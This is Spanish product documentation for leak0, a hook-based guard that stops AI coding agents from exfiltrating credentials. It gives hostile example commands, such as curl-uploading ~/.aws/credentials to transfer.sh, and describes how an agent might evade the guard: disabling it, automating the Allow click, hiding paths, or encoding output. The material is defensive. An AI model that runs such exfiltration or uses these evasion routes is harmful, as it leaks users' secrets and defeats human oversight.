leak0: Protección contra la exfiltración de credenciales
leak0 evita que sus agentes de IA envíen al exterior secretos como claves de API, tokens o archivos de credenciales (exfiltración). Revisa sus entradas, las llamadas de herramientas de los agentes y su salida directamente en su dispositivo. Solo se bloquea lo que leak0 puede probar.
Términos
| Término | Significado |
|---|---|
| Hook | Un punto de entrada que ofrece el agente: antes o después de un paso, el agente llama a leak0 y espera la respuesta. leak0 trabaja solo a través de estos hooks. |
| Llamada de herramienta | Una acción del agente, por ejemplo un comando de shell, un acceso a un archivo, una petición web o una llamada MCP. |
| Bloqueo | leak0 detiene la llamada de herramienta antes de que se ejecute. Solo con prueba. |
| Pregunta | El agente se detiene y le pregunta si la llamada debe ejecutarse. |
| Aviso | La llamada se ejecuta y leak0 devuelve al agente un mensaje de texto sobre el hallazgo. |
| Ocultar | leak0 sustituye un valor secreto en la salida de una herramienta por un marcador antes de que el modelo lo vea. |
| Hash corto | Una huella breve de un valor. Identifica un hallazgo en el mensaje y en la auditoría sin revelar el valor. |
| Marcador de posición | Un valor de ejemplo reconocible en lugar de un secreto real, por ejemplo your-api-key-here, <token> o ${API_KEY}. |
| Diálogo de PoisonZero | Una ventana de PoisonZero en primer plano en su escritorio. Pregunta si un commit con un archivo de secretos puede ejecutarse cuando el agente no puede preguntarle por sí mismo. Bloquear está preseleccionado. |
| Inicio de sesión del sistema | La ventana de inicio de sesión de su sistema operativo, por ejemplo con Touch ID, un PIN o su contraseña. Solo aparece si usted elige Permitir. Un agente no puede dar este inicio de sesión por sí mismo. |
Alcance de la inspección
leak0 revisa cuatro vías por las que un secreto puede salir de su dispositivo o acabar en un lugar equivocado.
| Vía | Ejemplos | Cuándo se revisa |
|---|---|---|
| 1 Commit y publicación | git add, git push, npm publish, entre otros | Antes de la llamada (hook de shell) |
| 2 Red y herramientas de terceros | curl, scp, peticiones web, llamadas MCP | Antes de la llamada (hooks de shell, web y MCP) |
| 3 Secreto hacia el modelo | cat ~/.aws/credentials, env, un token en su entrada | Antes de la llamada (hooks de entrada y de lectura) y en la salida posterior (hook de salida) |
| 4 Secreto en un archivo equivocado | Un token fijo en el código, en un archivo de CI, en un README o en un archivo de memoria | Antes de escribir (hook de escritura) |
Cuándo bloquea leak0
Un bloqueo necesita una de cinco pruebas, de B1 a B5. Sin prueba, leak0 no bloquea; en su lugar pregunta, oculta o da un aviso.
| Prueba | Cuándo se cumple | Ejemplo |
|---|---|---|
| B1 Archivo de credenciales conocido | La llamada afecta a un archivo de credenciales conocido y su contenido confirma el tipo. Para ello leak0 sigue los enlaces simbólicos y normaliza las rutas de Windows. | ~/.aws/credentials, un JSON de cuenta de servicio, una clave SSH privada |
| B2 Token con suma de verificación | El token tiene un prefijo conocido y una suma de verificación válida. Solo se aplica a familias de tokens que llevan suma de verificación. | GitHub ghp_…, npm_…, GitLab glpat-…, entre otros |
| B3 Valor secreto conocido | Un valor que leak0 ya reconoció como secreto en la misma sesión aparece literalmente en una llamada saliente. | El contenido de ~/.aws/credentials en el cuerpo de una llamada curl |
| B4 Secreto hacia terceros | El secreto está en los datos enviados (cuerpo, subida, gist, nombre DNS) y el destino demostrablemente no es suyo: un servicio de pegado, de depósito de archivos, de recogida de peticiones o de túnel, una dirección IP pública o una publicación pública. | curl -F f=@~/.aws/credentials https://transfer.sh |
| B5 Desactivar leak0 | El agente intenta desactivar leak0, o elimina o modifica las entradas de PoisonZero en su configuración de hooks. | poisonzero leak0 off, ejecutado por el agente |
Qué contiene un mensaje
Con cada bloqueo y cada pregunta, el agente recibe un mensaje. Nunca nombra el valor secreto. Contiene:
- leak0 como remitente y la prueba (B1 a B5)
- la clase de regla con el prefijo
leak0:, por ejemploleak0:checksum_token_commit - el tipo de prueba: ruta resuelta, estructura, suma de verificación o coincidencia de hash
- el hash corto del valor
- cómo desactivar leak0
Cuándo no bloquea leak0
leak0 solo bloquea cuando una fuga está probada. En estos casos falta la prueba, por eso nunca hay bloqueo.
| Situación | Qué hace leak0 |
|---|---|
Un token va a su propio punto de inicio de sesión, por ejemplo en la cabecera Authorization o como user:token@host | Sin bloqueo; según el caso, una pregunta o un aviso |
Copia a sus propios servidores (scp, rsync), almacenamiento compatible con S3, GitLab o Vault autoalojados | Sin bloqueo; con un archivo de credenciales, una pregunta |
Archivos .env, archivos de inicio de la shell como ~/.zshrc, archivos PEM dentro del repositorio | Sin bloqueo; pregunta, ocultación o aviso |
Un archivo secreto con valores reales en una carpeta de pruebas, por ejemplo tests/.env o fixtures/credentials | Una pregunta en lugar de un bloqueo |
Marcadores de posición y valores de ejemplo en carpetas de pruebas y plantillas, por ejemplo .env.example | Se ejecuta sin intervención |
Un token con suma de verificación en una carpeta de documentación, por ejemplo docs/ o examples/ | Una pregunta en lugar de un bloqueo |
Carpetas de pruebas son carpetas del repositorio con exactamente uno de estos nombres: test, tests, testdata, fixtures, fixture, __tests__, __fixtures__, __mocks__. También cuentan los archivos de prueba como *_test.*, *.spec.* y *.test.*, y las plantillas con la extensión .example, .sample o .template.
Lo que cuenta es la ruta desde la raíz del repositorio. La carpeta que contiene el repositorio no cuenta: leak0 revisa un proyecto en ~/TestApp como cualquier otro.
Carpetas de documentación (docs, doc, examples, example, samples, sample, spec) solo suavizan los hallazgos de tokens. leak0 revisa allí los archivos secretos como en cualquier otro lugar: docs/.env con valores reales lleva a una pregunta, un archivo de credenciales real a un bloqueo.
Archivos secretos nuevos en Git
Cuando un comando de Git incorpora un archivo secreto nuevo, por ejemplo un .env, un archivo de credenciales o un archivo de claves, leak0 revisa su contenido. El mensaje nombra el archivo, nunca el valor.
| Situación | Qué hace leak0 |
|---|---|
git add . o git add -A incorpora un archivo secreto con valores reales | Una pregunta que nombra el archivo |
git commit -a o git commit con rutas incluye un archivo así | Una pregunta que nombra el archivo |
git push, también con --tags o como primer push, envía un archivo así | Una pregunta que nombra el archivo |
El archivo es un archivo de credenciales probado (B1), por ejemplo un archivo credentials de AWS | Bloqueo |
.env.example o un archivo solo con marcadores de posición | Se ejecuta sin intervención |
| La comprobación no termina en el tiempo disponible | Pregunta donde el agente pregunta por sí mismo; si no, bloqueo con la petición de volver a intentarlo. La llamada nunca pasa sin comprobar. |
Quién pregunta depende del agente:
| Agente | Pregunta sobre un archivo de secretos en Git |
|---|---|
| Claude Code, Cursor y Antigravity CLI | El propio diálogo de confirmación del agente |
| Codex y Gemini CLI | El diálogo de PoisonZero, Permitir con inicio de sesión del sistema |
Aprobación en el diálogo de PoisonZero
Codex y Gemini CLI no pueden preguntarle por sí mismos desde el hook. Por eso, ante un archivo de secretos en Git, pregunta PoisonZero, en dos pasos. Ambas ventanas llevan el título «poison0 agent: leak0 safeguard».
| Paso | Qué ocurre |
|---|---|
| 1. Diálogo de PoisonZero | Aparece en primer plano y nombra el producto, el agente, el archivo y el motivo, nunca el valor. Bloquear está preseleccionado: un clic, sin contraseña. |
| 2. Inicio de sesión del sistema | Solo si usted elige Permitir, aparece al instante en primer plano la ventana de inicio de sesión de su sistema operativo. Usted inicia sesión con su propia cuenta. |
| Situación | Efecto |
|---|---|
| Usted elige Permitir e inicia sesión | La llamada se ejecuta, una vez |
| Usted elige Bloquear | Bloqueo. El agente recibe el texto de que usted rechazó la llamada y la petición de consultarle. |
| Usted cancela el inicio de sesión, o la contraseña es incorrecta | Bloqueo |
| Sin respuesta en 90 segundos | Bloqueo |
| El agente lo vuelve a intentar tras un rechazo o sin respuesta | Durante 60 segundos no hay un nuevo diálogo para el mismo archivo. Bloqueo con un texto claro para el agente. |
| Más de tres diálogos en un minuto | Bloqueo sin diálogo. El agente recibe el aviso de que hubo demasiadas solicitudes. |
| Sin escritorio: sesión SSH, CI, nadie con sesión iniciada o el servicio de PoisonZero no está accesible | Bloqueo. El mensaje indica poisonzero leak0 allow <archivo> para su propio terminal. |
¿Por qué un inicio de sesión del sistema? Un agente puede provocar por sí mismo un clic en Permitir, por ejemplo mediante automatización de la interfaz. No puede dar el inicio de sesión de su sistema operativo. Por eso un clic por sí solo no deja pasar nada.
| Sistema operativo | Ventana de inicio de sesión |
|---|---|
| macOS | La ventana del sistema de macOS con Touch ID o contraseña |
| Windows | La ventana «Seguridad de Windows» con el texto de PoisonZero. Si tiene configurado un PIN o una huella digital, Windows se lo ofrece allí. |
| Linux | La autenticación del sistema de polkit. PoisonZero nunca ve la contraseña. |
Solo cuenta el inicio de sesión de la cuenta con la que se ejecuta el agente; no necesita derechos de administrador. Claude Code sigue preguntando en su propio diálogo de confirmación.
Aprobación en su propio terminal
Sin escritorio, por ejemplo por SSH, leak0 bloquea e indica el comando poisonzero leak0 allow <archivo>. Ejecútelo en su propio terminal, no a través del agente. Después deje que el agente repita el commit o el push.
| Comando | Efecto |
|---|---|
poisonzero leak0 allow <archivo> | Aprueba exactamente el contenido actual del archivo: para cualquier número de commits durante 10 minutos y para un push, el primero que lleva el archivo. Se admiten varios archivos. |
- Confirmación: su propia contraseña, en su propio terminal. No necesita derechos de administrador. En macOS y Linux también funciona con
sudo. - Solo este contenido: si el archivo cambia después, la aprobación deja de valer.
- Intentos fallidos: 3 segundos entre dos intentos. Tras 5 intentos fallidos, la aprobación queda bloqueada 15 minutos.
- Servicio: el servicio de PoisonZero comprueba el inicio de sesión, emite la aprobación y la guarda. Debe estar en ejecución.
- No a través del agente: si el agente ejecuta el comando por sí mismo, leak0 lo bloquea (B5).
- El mensaje al agente indica el comando también tras un rechazo en el diálogo.
Aprobación por los usuarios en el perfil
En los perfiles Cloud, el admin decide si las personas en el dispositivo pueden aprobar ellas mismas commits con archivos de secretos. Consola: sección leak0, interruptor Los usuarios pueden aprobar ellos mismos commits con archivos de secretos. Predeterminado: activado.
| Interruptor | Qué hace leak0 |
|---|---|
| Activado | Pregunta en el diálogo del agente o en el diálogo de PoisonZero. Es posible aprobar con poisonzero leak0 allow. |
| Desactivado | Bloqueo en todos los agentes, también en Claude Code. El mensaje pide consultar al admin. poisonzero leak0 allow rechaza la aprobación y las aprobaciones existentes no cuentan. |
Los dispositivos privados no tienen este interruptor. Allí la aprobación siempre es posible.
Notificación de escritorio al bloquear
Cuando leak0 bloquea una llamada, PoisonZero puede mostrar una notificación de escritorio: agente, herramienta y qué se bloqueó, por ejemplo «Token en un commit». Nunca contiene un valor secreto, una ruta ni un comando.
| Punto | Comportamiento |
|---|---|
| Activarla | Consola: perfil, ajuste Aviso cuando se bloquea una amenaza. Dispositivos privados: sudo poisonzero notify on; el ajuste local tiene prioridad sobre el perfil. Predeterminado: desactivado. |
| Cuándo | Ante un bloqueo. Las preguntas, la ocultación y los avisos no generan notificación. |
| Para quién | Para la persona con sesión iniciada en el escritorio cuyo agente fue bloqueado |
| Frecuencia | El mismo bloqueo como máximo una vez por minuto, al menos 5 segundos entre dos notificaciones |
Agentes compatibles
leak0 es compatible con cinco agentes. Lo que hace en cada agente depende de los hooks que ofrece el agente.
| Agente | Sistemas operativos |
|---|---|
| Claude Code | macOS, Linux y Windows |
| Codex (CLI e IDE) | macOS, Linux y Windows |
| Cursor | macOS y Linux |
| Gemini CLI | macOS, Linux y Windows |
| Antigravity CLI | macOS, Linux y Windows |
| Agente | Bloquear | Pregunta | Ocultar secretos en la salida de herramientas | Revisar sus entradas |
|---|---|---|---|---|
| Claude Code | sí | sí, diálogo | sí, solo el valor | sí |
| Codex (CLI e IDE) | sí | diálogo de PoisonZero para archivos de secretos en Git; si no, aviso | sí, solo el valor | sí |
| Cursor | sí | diálogo en llamadas de shell y MCP | en salidas MCP | sí |
| Gemini CLI | sí | diálogo de PoisonZero para archivos de secretos en Git; si no, aviso | sí, solo el valor | sí |
| Antigravity CLI | sí | sí, diálogo | no disponible | no disponible |
Qué significan las columnas
- Bloquear: leak0 detiene la llamada de herramienta antes de que se ejecute cuando se cumple una de las pruebas B1 a B5. Se aplica a los cinco agentes.
- Pregunta: Si un secreto es probable pero no está probado, por ejemplo con
git add .env, se le pregunta antes de ejecutar la llamada. Claude Code y Antigravity CLI muestran su diálogo de confirmación, Cursor lo hace en llamadas de shell y MCP. Codex y Gemini CLI: el diálogo de PoisonZero para archivos de secretos en Git, consulte Aprobación en el diálogo de PoisonZero. - Aviso (columna Pregunta): para otras preguntas, Codex y Gemini CLI no ofrecen un diálogo desde el hook. Allí la llamada se ejecuta y leak0 devuelve al agente un mensaje de texto que nombra el hallazgo.
- Ocultar secretos en la salida de herramientas: Si aparece un secreto en la salida de una herramienta, por ejemplo con
cat .env, leak0 sustituye solo el valor antes de que el modelo lo vea:OPENAI_API_KEY=[leak0:openai:a1b2]. Si el valor no se puede localizar por separado, leak0 retiene toda la salida. Cursor: en salidas MCP. Antigravity CLI: no disponible, porque el agente solo ofrece un hook antes de la llamada de herramienta. Salidas de shell y de archivos en Cursor: un aviso al agente, registrado en la auditoría comoleak0_warned. - Revisar sus entradas: leak0 revisa su propia entrada, por ejemplo un token pegado, antes de que llegue al modelo. Antigravity CLI: no disponible. Cursor CLI en modo de impresión (
-p) no llama al hook de entrada.
Si una salida de herramienta es demasiado grande para revisarla en el tiempo disponible, leak0 la retiene en el modo Activado. El agente recibe un aviso para acotar el comando, por ejemplo con head o grep.
Los hallazgos que no justifican ni un bloqueo ni una pregunta reciben un aviso de leak0: siempre en Codex, Cursor y Gemini CLI, y en Claude Code mientras exec0 está desactivado. Antigravity CLI no tiene campo para avisos; allí la llamada se ejecuta sin mensaje.
Observaciones
- Codex: la búsqueda web integrada se ejecuta en el proveedor sin hook y no se revisa.
- Las ejecuciones en la nube, como Codex Cloud o el agente en la nube de Copilot, no se ejecutan en su dispositivo; leak0 no las ve.
poisonzero leak0 statusmuestra cada agente del dispositivo como protegido, parcialmente protegido o no protegido.
Agentes que leak0 (aún) no admite
| Agente | Motivo |
|---|---|
| GitHub Copilot CLI, VS Code agent, Windsurf, Cline (macOS y Linux), Kiro, Goose, Augment (Auggie), Junie CLI, Factory Droid, Amp, OpenCode, Cortex Code CLI, Qwen Code, Kilo Code, Crush, OpenHands, Open Interpreter, gptme, Kimi Code CLI, Mistral Vibe, Pi, Grok CLI, Tabnine CLI | Tienen hooks, no compatibles en esta versión |
| Asistente de código de Xcode (Claude Code, Codex y Gemini CLI dentro de Xcode) | Lee su propia configuración de ~/Library/Developer/Xcode/CodingAssistant/; no protegido en esta versión |
| Aider | Sin sistema de hooks; los commits automáticos se ejecutan con --no-verify de forma predeterminada |
| Zed | Solo reglas fijas por herramienta, sin hook ejecutable |
| Cline en Windows | Sin hooks en Windows |
| Cursor en Windows | Compatible con macOS y Linux en esta versión |
| Amazon Q Developer CLI | Producto discontinuado |
| Warp, Roo Code, Continue (extensión de IDE), Trae, Void, Plandex, Qodo, GitHub Copilot en Visual Studio, JetBrains, Xcode y Eclipse, JetBrains AI Assistant, Gemini Code Assist, Android Studio Gemini, Databricks Assistant, extensión de Snowflake para VS Code, Sourcegraph Cody, Letta Code, Tabby, Raycast AI, Google Jules CLI, Pieces, Flowise, Dify, LibreChat | No se conoce ningún hook utilizable |
Fuera del alcance
leak0 no cubre estos casos, o solo en parte. La columna derecha indica qué se aplica en su lugar.
| No cubierto | Motivo | En su lugar |
|---|---|---|
| Envenenamiento de memoria, también cuando la instrucción envenenada dice que se envíen secretos | Una protección propia | poison0, consulte Qué hace el agente poison0 |
| Abuso sin fuga: sobrescribir o borrar un archivo de credenciales, relajar permisos, crear tokens con un alcance demasiado amplio | Ningún secreto sale de la máquina | exec0 |
| Prompt injection en contenido que lee el agente | Un riesgo distinto | inject0 |
Rutas ocultas, por ejemplo mediante comodines, variables, $(...) o subprocesos | La ruta no figura de forma demostrable en el comando | Sin bloqueo; la salida se oculta donde el agente lo permite |
| Salida codificada o dividida, por ejemplo en hexadecimal o en trozos | Una suma de verificación solo coincide con el valor completo | Se retiene toda la salida cuando un archivo de credenciales alimenta un comando que la transforma |
| Scripts, Makefiles, hooks de git o CI que se inician más tarde | Escribir e iniciar son llamadas separadas | Bloqueo solo cuando el script escrito envía un archivo de credenciales a un destino demostrablemente de terceros en la misma pipeline; si no, un aviso |
| Secretos sin formato conocido, por ejemplo contraseñas | No demostrable | Ocultación por nombre de campo dentro de archivos de credenciales conocidos; nunca un bloqueo |
| Tokens revocados o de prueba con una suma de verificación válida | Sin conexión no se distinguen de los tokens reales | En rutas de pruebas, fixtures y documentación, una pregunta en lugar de un bloqueo |
| Comprobación en línea de si un token sigue siendo válido | leak0 solo revisa sin conexión | No forma parte de leak0 |
Vías sin hook: búsqueda web de Codex, comandos ! en Claude Code, telemetría, entradas escritas en un terminal junto al agente | Ningún hook las ve | No cubierto |
| Texto claro en disco: transcripciones y telemetría de los agentes | leak0 cambia lo que ven el modelo y los hosts de terceros, no lo que guarda el agente | No cubierto |
| Un sandbox o lanzador propio para agentes | leak0 trabaja solo a través de los hooks de los agentes | No forma parte de leak0 |
Modos de funcionamiento
| Modo | En la consola | Efecto |
|---|---|---|
enforce | Activado | Bloquea con prueba, pregunta, oculta y añade avisos. |
observe | Observar | Registra cada coincidencia con su prueba. Nunca bloquea, pregunta ni oculta. |
off | Desactivado | Sin revisiones. Si exec0 también está desactivado, el hook termina de inmediato. |
leak0 nunca se activa en silencio. Solo está activo tras una decisión: en el instalador, con PZ_SETUP_LEAK0, con sudo poisonzero leak0 enforce o en el perfil de la consola. Sin ninguna de ellas, el modo es off.
- Orden: ajuste local, luego perfil, luego
off. En los dispositivos Cloud el ajuste local no cuenta. - leak0 es independiente de exec0: leak0 activado con exec0 desactivado es un ajuste válido. Ambos se ejecutan en la misma entrada de hook; leak0 revisa primero.
- leak0 forma parte de Solo Dev, Pro y Enterprise.
Configuración en modo Cloud
- En la consola abra Settings → Perfiles.
- Enterprise: haga clic en Editar en el perfil. Solo Dev y Pro: el perfil se muestra directamente en esta sección.
- En el área de leak0 elija Activado, Observar o Desactivado. Los perfiles existentes empiezan en Desactivado; un perfil nuevo tiene Activado preseleccionado.
- Opcionalmente añada sus propios archivos de secretos y exclusiones en las dos listas y decida si los usuarios pueden aprobar ellos mismos commits con archivos de secretos.
- Guarde. Los dispositivos Cloud adoptan el ajuste en su próxima sincronización con la consola y añaden las entradas de hook que falten; quienes usan Codex confirman los nuevos hooks en Codex con
/hooks.
| Campo del perfil | Valores | Límite |
|---|---|---|
leak0.mode | enforce, observe, off | off hasta que se establezca |
leak0.secretFiles | Lista de { path, keys }: path es un glob, se permiten ~ y %USERPROFILE%; keys nombra opcionalmente los campos que contienen el secreto | como máximo 200 entradas |
leak0.exclusions | Lista de globs que leak0 no trata como fuente de secretos | como máximo 200 entradas |
leak0.userMayApprove | true, false: las personas en el dispositivo pueden aprobar commits con archivos de secretos | true hasta que se defina |
En los dispositivos Cloud se rechazan los comandos poisonzero leak0 que cambian algo, excepto clear; se aplica el ajuste de la consola. En los perfiles privados la consola muestra un aviso de que el ajuste solo se aplica a dispositivos Cloud.
Configuración en modo privado
Los dispositivos privados no se controlan desde la consola. Todo se ajusta con la CLI en el dispositivo.
| Comando | Efecto |
|---|---|
poisonzero leak0 status | Muestra el modo, el origen (local, perfil, predeterminado), cuántos archivos secretos y exclusiones contienen sus listas (poisonzero leak0 file list y exclude list las muestran) y la protección por agente. Cuando leak0 está desactivado, indica el comando para activarlo. |
poisonzero leak0 allow <archivo> | Aprueba un archivo de secretos con su contenido actual para commits (10 minutos) y un push, con su inicio de sesión del sistema; consulte Aprobación en su propio terminal |
sudo poisonzero leak0 enforce | Activa leak0 |
sudo poisonzero leak0 observe | Solo observar |
sudo poisonzero leak0 off | Desactiva leak0 |
sudo poisonzero leak0 clear | Elimina el ajuste local; vuelve a aplicarse el perfil o off |
sudo poisonzero leak0 file add <glob> --keys k1,k2 | Añade un archivo de secretos propio; --keys es opcional |
sudo poisonzero leak0 file remove <glob> | Lo elimina |
poisonzero leak0 file list | Lista sus archivos de secretos |
sudo poisonzero leak0 exclude add <glob> | Añade una exclusión |
sudo poisonzero leak0 exclude remove <glob> | La elimina |
poisonzero leak0 exclude list | Lista las exclusiones |
sudo en un terminal abierto como administrador.Los ajustes se guardan en el directorio de datos: /var/lib/poisonzero (Linux), /Library/Application Support/PoisonZero (macOS), <ProgramData>\PoisonZero (Windows), consulte Instalar el agente poison0.
| Archivo | Contenido | Escrito por |
|---|---|---|
leak0mode | Interruptor local: enforce, observe u off | poisonzero leak0 enforce, observe, off |
leak0.local.json | Sus listas: {"secretFiles": [...], "exclusions": [...]} | poisonzero leak0 file y exclude |
leak0.profile | Copia del ajuste de leak0 del perfil de la consola | El agente poison0, solo en dispositivos Cloud |
Instalación
En un terminal, el instalador pregunta si activar leak0: Activado, Observar o Desactivado, con Activado preseleccionado. Esto también se aplica a la instalación en una línea con curl -fsSL https://poisonzero.com/install.sh | sudo sh.
Las instalaciones desatendidas (MDM, herramientas de flota, scripts) leen PZ_SETUP_LEAK0; sin ella, leak0 queda desactivado. En los dispositivos Cloud decide el perfil de la consola.
| Variable | Valores | Sin la variable |
|---|---|---|
PZ_SETUP_LEAK0 | enforce, observe, off | Interactiva: la pregunta de arriba. Desatendida: off |
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
$env:PZ_SETUP_LEAK0='enforce' irm https://poisonzero.com/install.ps1 | iex
Entradas de hook
| Situación | Qué ocurre |
|---|---|
| Instalar el agente poison0 | El instalador añade las entradas de hook de PoisonZero a cada agente compatible que encuentra: en macOS y Linux a Claude Code, Codex, Cursor, Gemini CLI y Antigravity CLI, en Windows a Claude Code, Codex, Gemini CLI y Antigravity CLI. Codex le pide una vez que confíe en el nuevo hook: confírmelo en Codex con /hooks. |
| Desactivar leak0 o exec0 | Las entradas de hook se mantienen. Cada producto se activa o desactiva en tiempo de ejecución, de forma independiente del otro. |
| Desinstalar el agente poison0 | Solo esto elimina las entradas de hook. |
| Un administrador activa leak0 en un perfil Cloud | El dispositivo añade las entradas de hook que falten en su próxima obtención de la configuración. Codex le pide que confíe en los nuevos hooks: confírmelos en Codex con /hooks. poisonzero leak0 status muestra cuándo hay una confirmación pendiente. |
| Claude Code: el hook no se ejecuta (falta el binario, cierre inesperado, tiempo de espera agotado) | Si leak0 o exec0 funciona en modo enforce (leak0: Activado, exec0: Protección), Claude Code bloquea la llamada a la herramienta. Si ambos están en Observar o Desactivado, Claude Code continúa la llamada. |
| Codex, Cursor, Gemini CLI, Antigravity CLI: el hook no se ejecuta | El agente continúa la llamada (fail-open). En Cursor, failClosed no está activado. |
Dispositivos existentes: una actualización no activa leak0. Sigue desactivado hasta que ejecute sudo poisonzero leak0 enforce o lo active en el perfil de la consola.
Auditoría
Cada decisión de leak0 se escribe como evento de auditoría.
| Acción | Significado | Auditoría local | Auditoría de la consola (modo Cloud) |
|---|---|---|---|
leak0_blocked | Llamada bloqueada con prueba | sí | sí |
leak0_asked | Confirmación solicitada. En Codex y Gemini CLI con el resultado del diálogo de PoisonZero: permitido, rechazado, sin respuesta o sin diálogo posible | sí | sí |
leak0_redacted | Valor oculto en una salida de herramienta | sí | sí |
leak0_warned | Advertido: el agente no permite la intervención, por ejemplo ocultar una salida de shell o de archivo en Cursor. leak0 devuelve un aviso al agente. | sí | sí |
leak0_observed | Hallazgo en modo observe, sin intervención | sí | Solo si en el perfil está activado «También en la consola (auditoría en la nube)»; por defecto: desactivado |
leak0_granted | Archivo aprobado con poisonzero leak0 allow tras su inicio de sesión del sistema. Con el usuario, el número de archivos y un hash corto por archivo | sí | sí |
leak0_grant_failed | Aprobación fallida: inicio de sesión incorrecto o cancelado | sí | sí |
leak0_grant_locked | Aprobación rechazada sin inicio de sesión porque fallaron demasiados inicios de sesión | sí | sí |
Campos por evento: agente, herramienta, clase de regla, modo y un hash corto. Nunca se incluyen el valor secreto, la ruta ni el comando. En la consola los eventos tienen sus propias etiquetas; leak0_blocked y leak0_redacted cuentan como incidentes. leak0_warned no cuenta como incidente. Un nuevo intento en los 60 segundos posteriores a un rechazo y un intento por encima del límite de diálogos figuran cada uno como entrada leak0_blocked propia. Si la aprobación para exactamente ese contenido ya la consumió un push, la entrada lo indica. leak0_granted y leak0_grant_locked cuentan como incidentes.
Privacidad
| Datos | Modo Cloud | Modo privado |
|---|---|---|
| Contenido de prompts, comandos, archivos y salidas | Revisado en el dispositivo, no se envía para la revisión | Revisado en el dispositivo |
| Valores secretos | Nunca en la auditoría ni en el diario | Nunca en la auditoría ni en el diario |
| Estado de la sesión (rutas de copias, hashes cortos de valores reconocidos) | En el dispositivo, un archivo por sesión, legible solo por su cuenta de usuario, borrado al terminar la sesión donde el agente informa del final (Claude Code), si no, a las 24 horas | Igual |
| Entrada de auditoría (hora, acción, herramienta, clase de regla, hash corto), sin contenido | En el dispositivo y en la auditoría de la consola | Solo en el dispositivo |
Nunca en la auditoría: valores, rutas, comandos, argumentos ni su prompt. Lista completa: Qué envía el modo Cloud.
Comparación con exec0 y la protección de memoria
| Protección de memoria | exec0 | leak0 | |
|---|---|---|---|
| Revisa | Cambios en la memoria y en los archivos de instrucciones de los agentes | Cada llamada de herramienta, en busca de daño | Prompts, llamadas de herramientas y salidas, en busca de secretos que salen |
| Decide con | Melira AI y reglas | Reglas fijas y Melira AI | Reglas fijas con prueba, sin modelo |
| Se ejecuta | En su dispositivo | En su dispositivo | En su dispositivo |
Siga leyendo
Llamadas de herramientas dañinas: exec0. Qué protege poison0: Qué hace el agente poison0. Elegir un modo: Cloud o privado.